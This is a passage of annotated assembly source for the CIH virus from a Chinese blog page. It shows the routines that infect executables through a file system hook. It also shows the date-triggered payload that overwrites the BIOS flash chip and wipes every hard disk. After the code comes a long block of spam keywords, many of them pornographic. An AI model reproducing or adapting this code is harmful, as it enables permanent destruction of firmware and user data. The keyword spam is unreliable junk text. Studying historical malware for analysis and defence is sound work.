(LastVxDCallAddress-2-@9)[esi] ;上一個(gè)調(diào)用VXD的指令的地址 mov cl, VxDCallTableSize ;所用VXD調(diào)用的個(gè)數(shù) LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh ;還原成"int 20h"的形式 mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] ;從VxDCallIDTable取出VXD調(diào)用的id號(hào)放到edxmov [eax+2], edx ;放到"int 20h"的后面,形成'int 20h' and the 'Service Identifier'的形式movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] ;VxDCallAddressTable中放著各個(gè)調(diào)用VXD的指令的地址之差sub eax, edx ;eax為上一個(gè)調(diào)用地址 loop LoopOfRestoreVxDCallID ;還原其他的調(diào)用 ; *************************** ; * Let's Write * ; * Virus Code to the File * ; *************************** WriteVirusCodeToFile: mov eax, dr1 ;dr1為前面所保存的esp mov ebx, [eax+10h] ;ebx為保存在棧中的保存文件句柄mov edi, [eax] ;edi為保存在棧中的IFSMgr_Ring0_FileIO調(diào)用的地址LoopOfWriteVirusCodeToFile: pop ecx ;病毒代碼各段的偏移 jecxz SetFileModificationMark ;到病毒偏移零為止 mov esi, ecx mov eax, 0d601h ;寫(xiě)文件功能號(hào)(R0_WRITEFILE) pop edx ;文件指針 pop ecx ;要寫(xiě)的字節(jié)數(shù)call edi ; VXDCall IFSMgr_Ring0_FileIO ;寫(xiě)文件 ;依次寫(xiě)入:各段病毒代碼,病毒塊表,新的文件塊表,新的程序入口,感染標(biāo)志 jmp LoopOfWriteVirusCodeToFile ; *************************** ; * Let's Set CF = 1 ==> * ; * Need to Restore File * ; * Modification Time * ; *************************** SetFileModificationMark: pop ebx pop eax stc ; Enable CF(Carry Flag) ;設(shè)置進(jìn)位標(biāo)志 pushf ;標(biāo)志位壓棧 ; ************************************* ; * Close File * ; ************************************* CloseFile: xor eax, eax mov ah, 0d7h ;關(guān)閉文件功能號(hào) call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Need to Restore File Modification * ; * Time !? * ; ************************************* popf pop esi jnc IsKillComputer ;CF=0就KillComputer :-( ; ************************************* ; * Restore File Modification Time * ; ************************************* mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi] call ebx ; VXDCall IFSMgr_Ring0_FileIO ;修改文件修改時(shí)間 ; ************************************* ; * Disable OnBusy * ; ************************************* DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] ; Disable OnBus ; ************************************* ; * Call Previous FileSystemApiHook * ; ************************************* prevhook: popad ;恢復(fù)所有寄存器 mov eax, dr0 ; 保存的原來(lái)的文件系統(tǒng)鉤子程序首址 jmp [eax] ; Jump to prevhook ;跳到前一個(gè)鉤子去執(zhí)行 ; ************************************* ; * Call the Function that the IFS * ; * Manager Would Normally Call to * ; * Implement this Particular I/O * ; * Request. * ; ************************************* pIFSFunc: ; FileSystemApiHookFunction的參數(shù)見(jiàn)助標(biāo)2mov ebx, esp ; ebx指向esp以獲得FileSystemApiHookFunction的參數(shù)地址push dword ptr [ebx+20h+04h+14h] ; Push pioreq ;把參數(shù)pioreq pir壓棧(ebx+20h+04h為參數(shù)首址) call [ebx+20h+04h] ; Call pIFSFunc ;調(diào)用pIFSFunc FSDFnAddr(FSD的功能地址) pop ecx ; mov [ebx+1ch], eax ; Modify EAX Value in Stack ;改eax的值(在棧中,20h為pushad的壓棧大小,1ch為第一個(gè)壓棧的eax) ; *************************** ; * After Calling pIFSFunc, * ; * Get Some Data from the * ; * Returned pioreq. * ; *************************** cmp dword ptr [ebx+20h+04h+04h], 00000024h ;詳見(jiàn)助標(biāo)2 jne QuitMyVirusFileSystemHook ; ***************** ; * Get the File * ; * Modification * ; * Date and Time * ; * in DOS Format.* ; ***************** mov eax, [ecx+28h] mov (FileModificationTime-@6)[esi], eax ;保存獲得的文件時(shí)間和日期 ; *************************** ; * Quit My Virus' * ; * IFSMgr_FileSystemHook * ; *************************** QuitMyVirusFileSystemHook: popad ;恢復(fù)所有寄存器 ret ;從病毒設(shè)置的文件鉤子程序中退出 ; ************************************* ; * Kill Computer !? ... *^_^* * ;KillComputer模塊(!!十分危險(xiǎn),所以原理分析及詳細(xì)注釋暫不公布!!) ; ************************************* IsKillComputer: ; Get Now Day from BIOS CMOS mov al, 07h out 70h, al in al, 71h xor al, 26h ; ??/26/???? ;從CMOS中獲得當(dāng)前的日期 IF DEBUG jmp DisableOnBusy ELSE jnz DisableOnBusy ENDIF ;如果是每月的26號(hào)就KillComputer(太危險(xiǎn)了).*^_^*.; ************************************** ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; ************************************** ; *************************** ; * Kill BIOS EEPROM * ; *************************** mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ; *********************** ; * Show BIOS Page in * ; * 000E0000 - 000EFFFF * ; * ( 64 KB ) * ; *********************** mov edi, 8000384ch mov dx, 0cfeh cli call esi ; *********************** ; * Show BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** mov di, 0058h dec edx ; and a0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ; *********************** ; * Show the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E01FF * ; * ( 512 Bytes ) * ; * , and the Section * ; * of Extra BIOS can * ; * be Writted... * ; *********************** lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ; *********************** ; * Kill the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E007F * ; * ( 80h Bytes ) * ; *********************** xor ah, ah mov [eax], al xchg ecx, eax loop $ ; *********************** ; * Show and Enable the * ; * BIOS Main ROM Data * ; * 000E0000 - 000FFFFF * ; * ( 128 KB ) * ; * can be Writted... * ; *********************** mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; *********************** ; * Kill the BIOS Main * ; * ROM Data in Memory * ; * 000FE000 - 000FE07F * ; * ( 80h Bytes ) * ; *********************** mov ah, 0e0h mov [eax], al ; *********************** ; * Hide BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** ; or al 0h mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ; *************************** ; * Kill All HardDisk * ; *************************************************** ; * IOR Structure of IOS_SendCommand Needs * ; *************************************************** ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ; *************************************************** KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ; *************************** ; * Enable EEPROM to Write * ; *************************** EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ; *************************** ; * IO for EEPROM * ; *************************** IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ; ********************************************************* ; * Static Data * ; ********************************************************* LastVxDCallAddress = IFSMgr_Ring0_FileIO ;最后一個(gè)調(diào)用的VxD的指令的地址 VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath ;各個(gè)VxD調(diào)用指令地址之差 VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;VxD的調(diào)用號(hào) VxDCallTableSize = ($-VxDCallIDTable)/04h ;程序中使用VxD調(diào)用的個(gè)數(shù) ; ********************************************************* ; * Virus Version Copyright * ; ********************************************************* VirusVersionCopyright db 'CIH v' ;CIH病毒的標(biāo)識(shí) db MajorVirusVersion+'0' ;主版本號(hào) db '.' db MinorVirusVersion+'0' ;副版本號(hào) db ' TATUNG' ;作者名字 ; ********************************************************* ; * Virus Size * ; ********************************************************* VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ;病毒代碼全長(zhǎng) ; ********************************************************* ; * Dynamic Data * ; ********************************************************* VirusGameDataStartAddress = VirusSize @6 = VirusGameDataStartAddress OnBusy db 0 ;忙標(biāo)志 FileModificationTime dd ? ;文件修改時(shí)間 FileNameBuffer db FileNameBufferSize dup(?) ;7fh長(zhǎng)的文件名數(shù)據(jù)區(qū) @7 = FileNameBuffer DataBuffer = $ @8 = DataBuffer NumberOfSections dw ? ; 塊數(shù)目 TimeDateStamp dd ? ; 文件時(shí)間 SymbolsPointer dd ? ; NumberOfSymbols dd ? ; 符號(hào)表中符號(hào)個(gè)數(shù) SizeOfOptionalHeader dw ? ; 可選部首長(zhǎng)度 _Characteristics dw ? ; 信息標(biāo)志 Magic dw ? ; 標(biāo)志字(總是010bh) LinkerVersion dw ? ; 連接器版本號(hào) SizeOfCode dd ? ; 代碼段大小 SizeOfInitializedData dd ? ; 已初始化數(shù)據(jù)塊大小 SizeOfUninitializedData dd ? ; 未初始化數(shù)據(jù)塊大小 AddressOfEntryPoint dd ? ; 程序起始RVA BaseOfCode dd ? ; 代碼段起始RVA BaseOfData dd ? ; 數(shù)據(jù)段起始RVA ImageBase dd ? ; 裝入基址RVA @9 = $ SectionAlignment dd ? ; 塊對(duì)齊 FileAlignment dd ? ; 文件塊對(duì)齊 OperatingSystemVersion dd ? ; 所需操作系統(tǒng)版本號(hào) ImageVersion dd ? ; 用戶(hù)自定義版本號(hào) SubsystemVersion dd ? ; 所需子系統(tǒng)版本號(hào) Reserved dd ? ; 保留 SizeOfImage dd ? ; 文件各部分總長(zhǎng) SizeOfHeaders dd ? ; 部首及塊表大小 SizeOfImageHeaderToRead = $-NumberOfSections ; ; NewAddressOfEntryPoint = DataBuffer ; DWORD ; SizeOfImageHeaderToWrite = 04h ; StartOfSectionTable = @9 SectionName = StartOfSectionTable ; QWORD ; 塊名 VirtualSize = StartOfSectionTable+08h ; DWORD ; 該段真實(shí)長(zhǎng)度 VirtualAddress = StartOfSectionTable+0ch ; DWORD ; 該塊的RVA SizeOfRawData = StartOfSectionTable+10h ; DWORD ; 該塊物理長(zhǎng)度 PointerToRawData = StartOfSectionTable+14h ; DWORD ; 該塊物理偏移 PointerToRelocations = StartOfSectionTable+18h ; DWORD ; 重定位的偏移 PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD ; 行號(hào)表的偏移 NumberOfRelocations = StartOfSectionTable+20h ; WORD ; 重定位項(xiàng)數(shù)目 NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD ; 行號(hào)表的數(shù)目 Characteristics = StartOfSectionTable+24h ; DWORD ; 塊屬性 SizeOfScetionTable = Characteristics+04h-SectionName ; 塊表項(xiàng)的長(zhǎng)度 ; ********************************************************* ; * Virus Total Need Memory * ; ********************************************************* VirusNeedBaseMemory = $ VirusNeedBaseMemory = $ VirusTotalNeedMemory = @9 ; + NumberOfSections(??)*SizeOfScetionTable(28h) ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ;病毒所需的內(nèi)存(病毒全長(zhǎng)) ; ********************************************************* ; ********************************************************* VirusGame ENDS END FileHeader ;病毒全文完

?

總結(jié)

以上是生活随笔為你收集整理的CIH病毒-邹丹注释的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

久久久久久久久久网站 | aⅴ视频在线 | 亚洲国产精品久久久 | 成人小电影在线看 | 日本一区二区免费在线观看 | 久久视频国产精品免费视频在线 | 黄色特级毛片 | 美女视频国产 | 久久99精品久久久久久清纯直播 | 精品国产乱码久久久久久1区2匹 | 狠狠色狠狠色综合日日小说 | 精品99久久久久久 | 精品国产成人 | 99中文字幕在线观看 | 午夜12点 | 男女视频91 | 波多野结衣理论片 | 免费观看国产精品 | 97在线免费 | 久久综合成人 | 精品国产一区二区三区久久久久久 | 久久99精品久久只有精品 | 久草资源免费 | 国产免费又爽又刺激在线观看 | 欧美午夜久久久 | 日韩av电影中文字幕 | 亚洲劲爆av | 日韩精品在线观看视频 | 中文字幕精品三区 | 色天天天 | 国产在线va| 在线观看完整版 | 国产精品美女www爽爽爽视频 | 日韩专区在线观看 | 国产一级在线视频 | 天天操天天谢 | 久草视频免费看 | 国内精品视频在线 | 天天干天天天 | 久日视频 | 又爽又黄又无遮挡网站动态图 | 一区二区精品在线视频 | 在线观看免费 | 国产精品手机视频 | 亚洲五月婷 | 91九色精品国产 | 色噜噜狠狠狠狠色综合久不 | 天天鲁一鲁摸一摸爽一爽 | 黄色福利视频网站 | 天天操天天草 | 日韩网站中文字幕 | 国产精品久久99综合免费观看尤物 | 日韩精品第1页 | 成人免费网站在线观看 | 中文字幕av在线播放 | 国产麻豆精品久久一二三 | 日韩av网址在线 | 天堂av在线免费观看 | 国产精品1000 | 五月天色丁香 | 最新日韩精品 | 久久夜色精品国产欧美一区麻豆 | 天天操网 | 日免费视频 | 国产视频资源在线观看 | 午夜av在线电影 | 日本三级国产 | 成人a级大片 | 国产精品免费小视频 | 欧美日韩一级在线 | 1000部18岁以下禁看视频 | 天天草天天草 | 九九热只有这里有精品 | 国产在线精品福利 | 日韩精品久久中文字幕 | 久草青青在线观看 | 久久影院午夜论 | 久草免费在线观看 | 日韩欧美在线中文字幕 | 久久久久久久亚洲精品 | av成人免费在线看 | 午夜精品导航 | 国产中文字幕视频在线 | 粉嫩一区二区三区粉嫩91 | 国产成人精品999在线观看 | 成年人免费观看在线视频 | 欧美另类高潮 | 国产视频一区精品 | 在线色资源 | 怡红院av久久久久久久 | 久久狠狠一本精品综合网 | 日韩特黄av| 久久九九久久 | 亚洲资源 | 亚洲精品在线观看不卡 | 日韩欧美视频二区 | 手机av在线网站 | 日韩欧美91| 欧美色插 | 欧美成人h版电影 | 一区二区三区日韩在线观看 | 日韩网站在线免费观看 | 国产小视频免费在线网址 | 人人插人人插 | 成人超碰在线 | 一区二区三区中文字幕在线 | 欧美成人69av | 综合久久综合久久 | 97人人爽 | 国产一级淫片免费看 | 国产中文字幕一区 | 手机在线看a | 在线观看91精品视频 | 国产精品一区二区三区在线免费观看 | 亚洲国产精品视频在线观看 | 久久一线 | 天天激情站 | 中文字幕日本特黄aa毛片 | 天天操福利视频 | 欧美日韩精品电影 | 91精选在线 | 欧洲不卡av | 手机看片 | 欧美日韩成人一区 | 国产精品一区在线观看你懂的 | 久艹视频在线免费观看 | 国产亚洲一区二区在线观看 | 伊人色**天天综合婷婷 | 亚洲精品乱码久久久久久蜜桃91 | 欧美在线观看视频一区二区三区 | 成人97人人超碰人人99 | 深夜福利视频一区二区 | 日韩精品第1页 | 五月婷婷六月丁香激情 | 久久五月激情 | 日韩动态视频 | 中文字幕精品www乱入免费视频 | 伊人色**天天综合婷婷 | 日韩天堂网 | 久久国内精品99久久6app | 97超碰影视 | 久久久久久免费 | 97超碰.com | 亚洲韩国一区二区三区 | 91精品视频在线看 | 黄色小说网站在线 | av成人免费在线 | 中文字幕资源网 国产 | 国产精品久久久久久久久久99 | 91日本在线播放 | 亚洲播播| 91免费网| 91九色蝌蚪视频网站 | 国产精品激情在线观看 | 午夜在线免费视频 | 日本丶国产丶欧美色综合 | 国产成人精品一区一区一区 | 天天操 夜夜操 | 精品国产视频在线观看 | 丝袜护士aⅴ在线白丝护士 天天综合精品 | av青草| 久久精品99国产精品亚洲最刺激 | 国产成人黄色av | 午夜狠狠干 | 国产乱码精品一区二区蜜臀 | 一区三区视频在线观看 | 色偷偷人人澡久久超碰69 | 蜜臀av性久久久久蜜臀aⅴ流畅 | 日韩精品专区在线影院重磅 | 91视频一8mav | av在线免费观看黄 | 天堂av在线网址 | 东方av在 | 婷婷丁香社区 | 国产美女被啪进深处喷白浆视频 | 成人一区二区三区中文字幕 | 国产黄色免费 | 亚洲天堂社区 | 中文字幕久久精品亚洲乱码 | 成人免费在线观看av | 日韩一区二区久久 | 国产精品久久久影视 | 亚洲国产偷 | 中文不卡视频 | 久久精品www人人爽人人 | 久草观看 | 国产韩国日本高清视频 | 人人爱人人做人人爽 | 日韩欧美国产激情在线播放 | 国产精品美女久久久久久免费 | 色综合久久88色综合天天人守婷 | 99婷婷狠狠成为人免费视频 | 五月天久久久久 | 久久综合五月天婷婷伊人 | 国产黄| 亚洲女人av| 爱爱av网| 国产亚洲精品久久久网站好莱 | 日韩国产欧美在线播放 | 国产精品手机在线 | 99久久婷婷国产一区二区三区 | 二区在线播放 | 亚州av一区 | 91av久久 | 国产精品av在线免费观看 | 亚洲精品乱码久久久久v最新版 | 国产精品欧美日韩在线观看 | 天天亚洲综合 | 久久精品com | 精油按摩av | 狠狠色丁香久久婷婷综合_中 | 久二影院 | 在线观看免费高清视频大全追剧 | 国产成人av一区二区三区在线观看 | 亚洲免费国产视频 | 黄色大片日本 | 久久精品91久久久久久再现 | 在线播放一区 | 中文字幕久久精品 | 国产高清视频网 | 亚洲国产福利视频 | 欧美在线91 | 欧美片一区二区三区 | 91视频xxxx| 九九涩涩av台湾日本热热 | 中文理论片 | 亚洲人成人在线 | av在线专区| 久久久久久久毛片 | 中文字幕亚洲精品日韩 | www.91国产 | 久久国产高清视频 | av久久在线 | 99色在线观看视频 | 水蜜桃亚洲一二三四在线 | 日韩电影在线视频 | 成年人精品 | 成人久久久久久久久久 | 国产精品色 | 一级黄色片在线观看 | 久久久五月婷婷 | 日韩精品欧美视频 | 精品国产黄色片 | 九九久久久久久久久激情 | 久久国产精品二国产精品中国洋人 | 成人黄色国产 | 91视频在线免费观看 | 五月综合在线观看 | 在线视频在线观看 | 免费在线激情电影 | 中文字幕av影院 | 天天性天天草 | 最近日本韩国中文字幕 | 日韩av三区 | 国产激情久久久 | 99精品视频在线观看 | 亚洲色图 校园春色 | 99久久精品免费看国产免费软件 | 99色在线播放| 九九有精品 | 特级西西人体444是什么意思 | 五月激情姐姐 | 国产99自拍 | 免费三级大片 | 九草视频在线 | 欧美日韩免费网站 | 综合久久久久久 | 日本成人中文字幕在线观看 | 免费看一级黄色大全 | 99久久精品免费看国产一区二区三区 | 在线免费观看亚洲视频 | 日韩三级精品 | 最近的中文字幕大全免费版 | 色婷婷激情 | 国产精品视频你懂的 | 天天天天色综合 | 美女黄频网站 | 免费在线观看av网址 | 中文字幕乱偷在线 | 日韩av一区二区三区四区 | 久久国产免 | 永久免费av在线播放 | 久草在线免费电影 | 精品天堂av | 97av色| 亚洲日本va午夜在线影院 | 成人av影视在线 | 日韩色在线| 国产91精品在线播放 | 国产香蕉久久精品综合网 | 国产色婷婷在线 | 日韩精品aaa | 日韩在线观看高清 | 日本精品在线看 | 日本精品中文字幕 | 米奇影视7777 | 国产91在| 亚洲永久精品在线观看 | 精品美女久久久久久免费 | 91视频免费看片 | 视频在线在亚洲 | 成年人黄色在线观看 | 欧美做受xxx | 91天天操 | 日韩在线视频看看 | 日韩在线观看av | www.com.黄| 亚洲国产免费网站 | 天天综合天天做天天综合 | av看片网址 | 丁香婷婷久久久综合精品国产 | 久久久久久久久久久影视 | 亚洲精品免费看 | 日韩综合在线观看 | 亚洲婷婷在线 | 日韩一级电影在线 | 黄色一级大片在线免费看国产一 | 久久99亚洲精品久久久久 | 日韩在观看线 | 国产黄色资源 | 色欧美成人精品a∨在线观看 | 久久人人射 | 亚洲精品乱码久久久久v最新版 | 日韩精品中文字幕在线播放 | 国外调教视频网站 | 久久久久成人免费 | 精品日本视频 | 亚洲成人av免费 | av解说在线观看 | 日韩在线高清视频 | 国产精品精品久久久 | 麻豆一精品传二传媒短视频 | 午夜国产在线观看 | 色播五月激情五月 | 精品国产日本 | 天天操天天舔天天爽 | 91久久丝袜国产露脸动漫 | 国产男女无遮挡猛进猛出在线观看 | 婷婷伊人综合亚洲综合网 | 色欧美视频 | 五月天婷婷丁香花 | 黄在线免费观看 | 久草免费福利在线观看 | 丁香婷婷激情啪啪 | 婷婷丁香六月 | 久久天堂影院 | av综合网址 | 日日摸日日添日日躁av | 成人久久18免费网站 | 国产精品 日韩精品 | 一区二区三区四区五区在线视频 | 日韩sese| 天天色天天操天天爽 | 久久久久久久久久久电影 | 黄色片网站大全 | 亚洲精品网址在线观看 | 97av在线视频 | 狠狠色狠狠色综合系列 | 外国av网| 美女视频免费一区二区 | 亚洲三级av | 97精品电影院| 国产精品女人网站 | 国产精久久久久久久 | 亚洲精品伦理在线 | 日韩视频在线观看视频 | 成年人在线免费视频观看 | 日韩免费电影一区二区三区 | 欧美激情综合五月色丁香 | 日韩区欠美精品av视频 | 亚洲h在线播放在线观看h | 在线国产一区二区三区 | 黄色一级大片在线观看 | 伊人网站 | 日韩精品无码一区二区三区 | 91九色国产 | 国产精品专区在线观看 | 欧美成年人在线观看 | 日韩成人黄色av | 日韩美精品视频 | 中文字幕在线视频一区 | 99久久日韩精品免费热麻豆美女 | 在线观看午夜av | 亚洲成aⅴ人片久久青草影院 | 免费看国产黄色 | 欧美一级电影免费观看 | 免费成人结看片 | 日韩,精品电影 | 看片的网址 | 亚洲专区中文字幕 | 深爱激情开心 | 五月激情丁香婷婷 | 国产精品theporn | 久久精品艹 | 成人网在线免费视频 | 国内丰满少妇猛烈精品播 | 在线免费国产 | 久久免费福利 | 欧美日韩性视频在线 | 91刺激视频 | 黄色精品一区 | 精品亚洲免费 | 特级毛片网 | 国产亚洲精品久久19p | 在线观看亚洲国产精品 | 麻豆视频91 | 波多野结衣一区三区 | 国产最新在线视频 | 8x8x在线观看视频 | 国产视频每日更新 | 久草网在线观看 | 亚洲精品免费在线视频 | 天天干天天玩天天操 | 午夜视频在线观看一区二区三区 | 日韩和的一区二在线 | 91麻豆视频 | 日韩视频免费观看高清完整版在线 | 免费av一级电影 | 在线黄网站 | 久久久麻豆精品一区二区 | 黄色www免费 | 日韩精品一区二区三区在线播放 | 精品一区二区三区四区在线 | 久草在线 | 久久成人国产精品一区二区 | 国产专区一| 久久视频这里只有精品 | 日韩大片在线观看 | 91精品国产九九九久久久亚洲 | 国产成人精品一区二区三区福利 | 久久美女电影 | 香蕉视频在线播放 | 97国产超碰在线 | 国产高清av在线播放 | 一级免费看视频 | 欧美激情精品一区 | 欧美一级裸体视频 | 中文字幕综合在线 | 国产精品视频久久久 | 日韩午夜大片 | 91在线视频导航 | 欧美一区日韩一区 | 99精品欧美一区二区 | 久久综合九色综合久99 | 久久久久久蜜桃一区二区 | 久久色视频| 国产伦理久久精品久久久久_ | 久久国产精品免费观看 | 久久亚洲影院 | 97在线播放视频 | 中文字幕在线日本 | 在线免费视频你懂的 | 2019中文最近的2019中文在线 | 欧美精品在线观看免费 | 精品国产一区二区三区在线观看 | 亚洲第一av在线播放 | 久久人人爽人人片av | 中日韩免费视频 | 亚洲综合黄色 | 天天操天天干天天插 | 美女视频黄免费的 | 欧美午夜精品久久久久久浪潮 | 这里只有精品视频在线观看 | 91最新视频在线观看 | 欧美国产日韩一区二区三区 | 在线视频 你懂得 | 久久久免费视频播放 | 91麻豆国产福利在线观看 | 国产精品3 | 97精品超碰一区二区三区 | 欧美在线观看视频一区二区三区 | 午夜狠狠操 | 三级黄色在线观看 | 99色在线观看视频 | 色综合久久综合中文综合网 | 日韩理论视频 | 日韩久久久久久久久久久久 | 天天综合天天综合 | 国产aaa毛片 | 久久99亚洲精品久久久久 | 亚洲精品中文字幕在线 | 五月婷婷综合色拍 | 久久综合婷婷综合 | 久草影视在线 | 欧美一二区在线 | 丁香久久五月 | 在线a视频 | 久久久久久久99精品免费观看 | 日韩国产精品久久久久久亚洲 | 欧美黑人xxxx猛性大交 | 久久久久久亚洲精品 | 日韩精品一二三 | www.色综合.com | 久草网在线观看 | 国内成人精品2018免费看 | 国产精品国产三级国产不产一地 | 日日夜夜操操操操 | 亚洲成人黄色av | 国产a高清| 激情综合网五月婷婷 | 一区二区视频在线播放 | 欧美成亚洲 | 亚洲精欧美一区二区精品 | 亚洲资源在线观看 | 欧美午夜性 | 91精品人成在线观看 | 国产精品露脸在线 | 欧美日韩在线观看一区二区 | 欧美一级爽 | 国产专区在线看 | 视频一区二区在线观看 | 免费亚洲视频在线观看 | 亚洲国产操 | 激情偷乱人伦小说视频在线观看 | 91九色视频在线观看 | 久久久久久久久久影视 | 伊人狠狠操 | 天天艹天天 | 99精品国产aⅴ | 天堂va在线观看 | 丁香婷婷激情啪啪 | 狠狠的干狠狠的操 | 国产成人精品在线 | 高潮久久久 | 天天爽夜夜爽人人爽曰av | 夜夜夜夜猛噜噜噜噜噜初音未来 | 中文字幕高清在线 | 亚洲成av人片在线观看香蕉 | 在线电影中文字幕 | 狠狠躁日日躁夜夜躁av | 国产一区二区久久久久 | 亚洲激情校园春色 | 日韩高清精品免费观看 | 亚洲专区中文字幕 | 国产理论免费 | 久久精品网址 | 日韩一级电影在线 | 99热在线观看免费 | 一级片观看 | 天天干,天天操,天天射 | 国产网红在线观看 | 亚洲视频中文 | 日韩成人xxxx | 四虎影视8848aamm| 伊人国产在线观看 | 精品一区二区综合 | 亚洲视频www | 在线观看免费版高清版 | 国产精品大片在线观看 | 99精品国产aⅴ | 在线亚洲成人 | 园产精品久久久久久久7电影 | 久久久久人人 | 中文av网| 国产美女免费观看 | 国产高h视频 | 黄污网| 久久精品国产免费看久久精品 | 国产精品美女久久久久久久久 | 日本久久视频 | 色视频在线免费观看 | 黄色aaa级片| 人人看看人人 | 亚洲精品视频在线观看免费 | 亚洲国产精品久久久久婷婷884 | 天天射天天射天天射 | 成人动漫视频在线 | 免费三及片 | 国产精品第二页 | 久久综合九九 | 亚洲女人天堂成人av在线 | 免费观看的黄色 | 欧美在线一二区 | 国产伦精品一区二区三区在线 | 国产精品第54页 | 欧美一二三区在线播放 | 成人 亚洲 欧美 | 国产高清成人 | 天天插日日操 | 免费观看全黄做爰大片国产 | 一区二区久久 | 91在线免费视频观看 | 日韩免费视频线观看 | 涩涩爱夜夜爱 | av三级在线看 | 国产一级精品视频 | 亚洲精品在线观看免费 | 天天操夜夜操夜夜操 | 在线观看黄色的网站 | 91av视频免费在线观看 | 国产理论影院 | 欧美一区二区三区不卡 | 久久久久久在线观看 | 久久久久夜色 | 久久久精品网站 | 国色天香在线观看 | 久久国产经典视频 | 国产中文视 | 中文字幕高清有码 | 国产精品亚洲片在线播放 | 毛片一级免费一级 | 国产精品成人一区二区 | 亚洲国产网址 | 五月婷婷在线视频 | 免费观看国产精品视频 | 9色在线视频 | 国内成人精品视频 | 欧美小视频在线 | 欧美日韩亚洲一 | 九九免费在线观看视频 | 色中文字幕在线观看 | 就色干综合 | 一区二区三区电影大全 | 久久精品欧美日韩精品 | 久久国产精品免费看 | 小草av在线播放 | 看污网站 | 韩国一区二区三区视频 | 欧美一级免费黄色片 | 久久看片网| 91视视频在线直接观看在线看网页在线看 | 久久er99热精品一区二区三区 | 久久久精品日本 | 高清免费在线视频 | 毛片网站免费 | 国产成人福利片 | 久久免费国产视频 | 国内99视频 | 九九在线免费视频 | 久久精品99国产 | .精品久久久麻豆国产精品 亚洲va欧美 | 黄色一级片视频 | 日韩理论片 | 国产成人精品在线播放 | 欧美性生活小视频 | 丁香婷婷久久 | 天天干夜夜操视频 | 中文字幕国产 | 日韩中文字幕第一页 | 国产精品女同一区二区三区久久夜 | 国产人免费人成免费视频 | 中文字幕超清在线免费 | 国产不卡视频在线播放 | 久久久久国产精品一区 | 中文字幕在线观看第二页 | 干综合网 | 亚洲黄色av网址 | 亚洲黄色免费网站 | 国产精品一区二区电影 | 日韩av福利在线 | 免费看污网站 | 国内精品久久久精品电影院 | 久久只精品99品免费久23小说 | 操久久免费视频 | 色综合人人 | bbb搡bbb爽爽爽 | 超碰人人99 | 精品自拍sae8—视频 | 